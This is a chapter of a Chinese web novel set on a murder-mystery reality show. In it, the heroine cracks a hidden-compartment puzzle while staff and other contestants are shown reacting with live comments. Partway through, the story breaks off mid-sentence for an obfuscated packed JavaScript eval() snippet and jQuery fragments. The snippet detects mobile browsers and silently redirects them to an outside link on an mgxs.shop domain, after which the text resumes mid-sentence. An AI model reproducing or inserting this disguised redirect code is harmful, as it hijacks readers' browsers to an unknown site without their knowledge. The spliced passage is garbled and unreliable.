白浮踏入房门时，灯是黑的，她顺着墙壁摸索开关，在触及到弧度时停了下来。
房间角落里，一盏红外摄像头的指示灯在有频率地闪烁着，伴随着缓慢转动的机械音。
黑暗像湿透的棉被，密不透风地层层覆裹而来。
白浮的瞳仁缓缓适应这明暗交错的暗红微光，屋内所有家具都在监控灯光影里，露出苍白而失真的冰冷轮廓。衣柜门半敞着，里面黑暗的纵深像一张张开的嘴。梳妆台上那面椭圆古镜正对房门，每一次红外光点亮起，镜中便晃出一道模糊飘忽的人影，虚实难辨。
她脊背轻抵门板，静立两秒，连胸腔起伏的呼吸都压得极轻极缓。
陈旧木腐味混着浮沉尘埃缠上鼻尖。
白浮贴在门板上，恰好避开镜头，借着视野盲区，指尖探入左侧袖口。
掌心静静躺着两枚白色药片，早已提前剥离封膜，她微微仰头，径直干咽入喉。
药片划过喉间，留下生硬硌人的滞涩触感。
苦味从舌根翻上来。
她不剩什么表情。
抬手按下墙壁上的开关。
没有用。
但就在她放弃的那一刻，梳妆台边的一盏小夜灯自己亮了。
昏黄的光，不足以照亮整间屋子，但恰好勾勒出梳妆台的轮廓。
老式的木质梳妆台，桌面上空荡荡的，只有一面椭圆形的镜子和一个落灰的首饰盒。
兹拉的电流声在一片死寂中响起，格外瘆人。
白浮走过去。
镜子上全是锈迹。水银层在边缘大片剥落，显出暗黄色的斑块。她伸出手，沿着木质的镜框边缘摸索，指腹在背面触到了一个凹痕。
直播开始前导演组给的那份角色小传里，写得很模糊——
顾念有一件很重要的旧物，记录着不愿提起的过去。它藏在这间房间的某个机关里，你需要自己找出来。
白浮微微俯身，视线与梳妆台台面平齐。
抽屉的拉手是一对铜质的圆形饰扣，左右各一颗。左边那颗上刻着一朵蔷薇，花瓣层叠，线条柔美；右边那颗刻着的却是某种藤蔓。
花纹不同应该是提示。
白浮同时捏住两颗饰扣，试着旋转。
左侧蔷薇拉手被什么东西卡住，应该是需要右边的锁芯转到某种程度才能触发。
她顺着一个方向，缓缓转动了半圈后听到一道清楚的金属音后。
她再试着逆向旋拧。
一声沉闷极轻的咔响自梳妆台底部传来，木质榫头在暗槽之内滑动。白浮半屈着膝，伸手沿着梳妆台底板探入，指尖抚过粗糙木板纹路，在贴近后壁的位置，摸到一条并不属于结构拼接的缝隙。
指甲嵌进缝隙，轻轻向上一掀。
隐秘底板应声弹开，露出一方狭长幽深的暗格。
暗格里放着一把黄铜钥匙，齿纹简单，是市面上最常见的款式。小巧钥匙柄上刻着一枚极小印记，似英文字母S，又似砍了一半的数字8。
钥匙表层光滑，显而易见，钥匙的主人必然经常使用它。
层层设局、费尽心思藏起一把小小钥匙。
她直起身，目光再度落回那面古旧镜子之上。
镜框的花纹是蔷薇。
和拿到钥匙的机关一样。
白浮抬手去摸镜框正面的接缝，玻璃与木质边框之间的有道细缝，她把钥匙的齿尖探进去，轻轻别了一下，那道缝隙忽然变宽了。
整面古镜并非死固摆设，实则依托内置转轴打造，如同一扇小巧隐蔽的暗门。
白浮扣住镜框边缘，发力缓缓向左推送。
镜子缓缓翻转。
镜框背面赫然嵌着一枚古朴黄铜锁孔，她将钥匙精准插入，缓缓旋拧，锁芯沉稳转动两圈半，镜框内侧暗门应声弹开，内里静静放置一只黑色丝绒布袋，袋口抽绳早已松散垂落。
她轻抖布袋，将内里物件尽数倒出。
是一条银质细链项链，表面早已氧化发黑，吊坠是心形镂空小盒。
指尖轻轻一扣，心形盒盖弹开。
盒内封存一张年代久远的旧相片，相片边角早已泛黄蜷曲，往日鲜活色彩尽数褪去，画面朦胧模糊，唯独能清晰辨出两道相依的少年少女侧颜。少女轻倚少年肩头，头发遮住了半边眉眼，只露出一小截鼻梁和微微扬起的嘴角，眉眼间满是纯粹暖意。
白浮翻转相片，背面留有寥寥数笔青涩字迹。
成名后，我要娶你做我的妻子。
——沈铎。
相片上有一些细小的、圆形的印渍，字迹有些晕开了。
应该是泪。
导播室。
总导演忽然“啧”了一声，歪头跟旁边的人说。
“本来以为厄里就是个写写风花雪月的文化人，没想到一进本，推起谜来比我们编剧还狠，脑子转得比我刷短视频还快。这波属实是隐藏大佬了。”
他把台本往桌上一拍，语气里带着点迫不及待的兴奋。
“那个副本，不等了，提前上。这综艺圈，高低得给她留把椅子。”
陈宇正拿平板排江骆下周的行程，闻言手指一顿，抬头，用一种“你终于开眼了”的欣慰表情看了总导演两秒。
厉远西装穿的松松垮垮，身为嫂子的迷弟，觉得自己应该站出来，强调一下嫂子的权威，于是调整了下耷拉着的领带，语气骄傲。
“那是。你当她法学博士是充话费送的？”
总导演一愣：“法学博士？”
陈宇肘击厉远，玩世不恭的小霸王立刻意识到自己说多了，面不改色地补了一句。
“咱搞投资的，最讲专业。背调，是资本的基本修养。你看现在的艺人，今天营销内娱遗珠，明天被扒九年义务教育漏网之鱼，我不查清楚，难道等塌房的热搜挂在项目投资书上？”
现场的人，表情耐人寻味。
“你们那眼神是什么意思？觉得我铜臭味重？”
厉远腾的站起来，他向来敢作敢当，受了委屈绝不含糊。
“拜托，我这是对钱负责！”
他说这话的时候表情管理堪称完美，但内心慌的一批。
完了说秃噜嘴了。
总导演端起保温杯，喝了一口凉透的枸杞水。
厉总这个人，在圈里出了名的花孔雀，换女朋友比换车钥匙还勤。前几天的热搜还在那儿挂着呢，什么“盛世娱乐总裁深夜与神秘女子共进晚餐”，配图是个长腿小花。
当时他还在群里跟人八卦。
可现在这画风不对啊。
就算是资方，也知道太多了吧？
除非……这两人之间，关系不简单。
总导演把保温杯放下，闭上眼睛，靠在椅背上。他不是傻子。在这个圈子混了二十年，什么妖蛾子没见过。
有些事情，点到为止。
总导演睁开眼，看了陈宇一眼。
陈宇正低着头，嘴角微微翘着，手指在平板上飞快地划拉，但屏幕明明还黑着。
“你小子有事瞒我？”总导演问。
陈宇抬起头，一脸无辜：“怎么会。”
“你嘴角快咧到耳根了。”
“那是我天生嘴角上扬，”陈宇面不改色，“王牌经纪人的职业素养，自带亲和力。”
总导演懒得拆穿他。
“法学博士写小说，小说里的人物被改编成台本……这路子，野得我都想给她写个传记了。”
陈宇头都没抬：“您写不了。”
总导演：“……”
-----
韩子许坐在床边，双手合十抵在额前，活像临考抱佛脚的学生。他闭着眼念念有词，“我是副导演我不害怕，我是副导演我很有城府，我是副导演我……”
额角已经渗出汗珠。
韩子许猛地睁开眼，看向房间角落那个闪着红点的摄像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551713|203802||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头，压低声音对着空气小声求助。
“导演，时间线我随口说的，怕说串……能不能给个提词器？就那种，放在地上，我用余光瞟一眼就行，我不贪，真的。”
当然没人理他。
小红点依旧冷漠地亮着，像个无情的事后记录仪。
韩子许盯着它看了三秒，确认自己得不到任何回应，绝望地闭了闭眼，又重新双手合十，继续念他那套不知道从哪个表演速成班学来的自我催眠咒。
念着念着，声音越来越虚，尾音还颤了一下。
弹幕：
【提词器都来了，下次是不是要导演帮他答题】
【他在跟谁说话？跟空气吗？这孩子是不是紧张傻了哈哈哈哈】
【耳朵又红了，经典皮肤限时返场】
【经典皮肤太好笑了，那个耳朵红得跟煮熟的虾一样】
【煮熟的虾：我没惹任何人】
镜头从韩子许那段拉远，顺着走廊滑到隔壁。
对面的门虚掩着，里面传来一阵窸窸窣窣的声响。
弹幕适时飘过：
【切，让我们看看隔壁的宋瑶小姐姐在干嘛】
【该不会比韩子许还离谱吧】
【螺蛳粉已就位，期待jpg.】
镜头推进去。
宋瑶把床上那团被子整个抽了出来，像卷饼一样把自己裹了进去，严严实实，只露出一双眼睛，乌溜溜地、警惕地盯着门口。
“别吓我别吓我……”她闷在被子里小声念叨。
“节目组说有惊吓环节，我真没料到这么早就开始了……我以为至少等到天黑……”
宋瑶缩了缩脖子，又往被子里埋了埋，只露出几根发丝。
安静了两秒。
那个头顶忽然动了动，又慢慢探出两只眼睛，对着墙角的摄像头一本正经地说了一句话。
“等一下，我是乔好，乔好是绿茶，绿茶不该怕黑。重来。”
说完，宋瑶猛地掀开被子，腰板挺得笔直，双手端庄地放在膝盖上，下巴微微扬起，眼神里带着三分不屑三分凉薄四分“老娘什么场面没见过”。
但那眼神控制不住地往门缝的方向飘了一下。
硬撑了三秒，又“唰”地缩了回去。
速度快到镜头差点没跟上。
“算了，绿茶也可以怕鬼，这叫反差萌。”
弹幕：
【节目组：我们说的惊吓环节是剧本杀里的尸体道具，不是鬼。宋瑶：我不听我不听】
【“反差萌”三个字从她嘴里说出来我真的会笑死】
【缩回去那一下我已经截好表情包了，配文：撤回了一个美女】
【三秒，她撑了三秒，比韩子许强，韩子许一秒都没撑过】
【韩子许：？？？我在隔壁招谁惹谁了】
【乔好是绿茶但宋瑶不是啊，宋瑶是喜剧人】
宋瑶不知道弹幕在说什么，但她隐约觉得自己好像说了什么了不得的话，探出半张脸，对着摄像头。
“这段能剪掉吗？……剪不掉？那能不能加个滤镜？就那种，柔光的，显得我有气质一点。”
摄像头左右摇了摇。
镜头一转。
周婉淡定地打开化妆箱，挑了一款粉饼，对着镜子慢悠悠地补妆，动作行云流水，仿佛不是在悬疑剧本杀现场，只是在颁奖典礼后台候场。
补完左右照了照，满意地抿抿唇，又拿起口红细细描了遍唇线。
末了欣赏起镜子里的美貌。
“这灯光不行，拍出来显黄，灯光师上班了。”
镜头再次切换。
傅祈目光精准锁定了桌上低调奢华的丝绒首饰盒，他走过去，拉开抽屉的瞬间，吹了个轻佻的口哨。
“真表？假表？”
名表整整齐齐地码在黑色绒布上，在灯下泛着低调的冷光。
傅祈的眼睛，肉眼可见地亮了。